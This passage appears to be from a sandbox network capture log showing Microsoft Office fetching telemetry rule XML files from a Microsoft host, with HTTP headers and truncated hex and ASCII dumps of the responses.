2025-03-17 16:03:12 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:11 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAAE54E3" x-ms-request-id: 18d01259-801e-0048-6551-97f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160311Z-186895dd8bdbfcjthC1EWR3g0000000006yg00000000dhnw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:12 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 36 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 47 72 61 70 68 69 63 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 47 72 61 70 68 69 63 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700600" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Graphics" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenGraphics" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.17	49705	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:12 UTC	199	OUT	GET /rules/rule702851v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:12 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:12 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE45FA9A4" x-ms-request-id: e0cf31d5-901e-008f-2c51-9767a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160312Z-186895dd8bdpn7zfhC1EWR5w3w000000059g000000008fx8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:12 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 46 69 6c 65 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702851" V="1" DC="SM" EN="Office.Telemetry.Event.Office.FileSystem.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.17	49707	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:12 UTC	199	OUT	GET /rules/rule700001v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:12 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:12 GMT Content-Type: text/xml Content-Length: 1741 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE01D965B" x-ms-request-id: 2d16f8b6-101e-0017-7e51-9747c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160312Z-186895dd8bdpn7zfhC1EWR5w3w000000057g00000000dquq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:12 UTC	1741	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 46 69 6c 65 49 4f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 46 69 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700001" V="2" DC="SM" EN="Office.Telemetry.Event.Office.FileIO.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenFil

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.17	49706	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:12 UTC	199	OUT	GET /rules/rule702850v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:12 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:12 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAF4A271" x-ms-request-id: 020cf446-f01e-005d-7651-9713ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160312Z-186895dd8bdlbckjhC1EWR44e4000000042000000000ca2t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:12 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 46 69 6c 65 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 46 69 6c 65 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702850" V="1" DC="SM" EN="Office.Telemetry.Event.Office.FileSystem" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenFileSystem" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.17	49704	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:12 UTC	199	OUT	GET /rules/rule703950v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:12 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:12 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBAA8F1E" x-ms-request-id: e55ddf59-401e-005b-7451-979c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160312Z-186895dd8bdbgz5hhC1EWR2wnc00000002ng00000000cmgz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:12 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 46 6c 6f 6f 64 67 61 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 46 6c 6f 6f 64 67 61 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703950" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Floodgate" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenFloodgate" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.17	49708	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:12 UTC	199	OUT	GET /rules/rule700000v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:12 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:12 GMT Content-Type: text/xml Content-Length: 1704 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE3ACEE95" x-ms-request-id: 06cc87c5-001e-00ad-2951-97554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160312Z-186895dd8bdbgz5hhC1EWR2wnc00000002mg00000000eudy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:12 UTC	1704	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 46 69 6c 65 49 4f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 46 69 6c 65 49 4f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700000" V="2" DC="SM" EN="Office.Telemetry.Event.Office.FileIO" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenFileIO" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.17	49709	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:13 UTC	199	OUT	GET /rules/rule701401v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:13 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:13 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BED9B1C5E" x-ms-request-id: 12b22a79-c01e-0082-2951-97af72000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160313Z-186895dd8bdcz2nqhC1EWR2ak400000007mg00000000504t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:13 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 34 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 46 65 65 64 62 61 63 6b 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 46 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701401" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Feedback.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenF

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.17	49710	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:13 UTC	199	OUT	GET /rules/rule701400v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:13 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:13 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:06 GMT ETag: "0x8DC582BED67B7DF" x-ms-request-id: e0cf3366-901e-008f-2d51-9767a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160313Z-186895dd8bdfvrj8hC1EWRcaww0000000880000000004zku x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:13 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 34 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 46 65 65 64 62 61 63 6b 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 46 65 65 64 62 61 63 6b 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701400" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Feedback" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenFeedback" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.17	49712	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:13 UTC	199	OUT	GET /rules/rule701950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:13 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:13 GMT Content-Type: text/xml Content-Length: 1380 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAADDFBA" x-ms-request-id: 08f14655-401e-0078-5351-974d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160313Z-186895dd8bd5zpn7hC1EWRryhc00000006f00000000016hv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:13 UTC	1380	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 45 78 74 65 6e 73 69 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 66 66 69 63 65 45 78 74 65 6e 73 69 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Extensibility" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOfficeExtensibility" S="Medium" /

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.17	49711	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:13 UTC	199	OUT	GET /rules/rule701951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:13 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:13 GMT Content-Type: text/xml Content-Length: 1417 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:06 GMT ETag: "0x8DC582BED018AE5" x-ms-request-id: 757c701d-101e-0065-3551-974088000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160313Z-186895dd8bdqzr24hC1EWRscdn000000033g00000000guw7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:13 UTC	1417	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 45 78 74 65 6e 73 69 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Extensibility.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantT

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.17	49713	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:13 UTC	199	OUT	GET /rules/rule700851v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:13 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:13 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDD07A16" x-ms-request-id: 12b22ab0-c01e-0082-5e51-97af72000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160313Z-186895dd8bddc5hwhC1EWR2xzg00000004n000000000akcw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:13 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 38 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 45 78 70 65 72 69 6d 65 6e 74 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700851" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Experimentation.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.17	49715	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:14 UTC	199	OUT	GET /rules/rule701851v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:14 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:14 GMT Content-Type: text/xml Content-Length: 1408 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB94749A" x-ms-request-id: c4e6dc5a-301e-003f-2c33-97266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160314Z-186895dd8bd77tnghC1EWRfgvg000000041000000000bmfb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
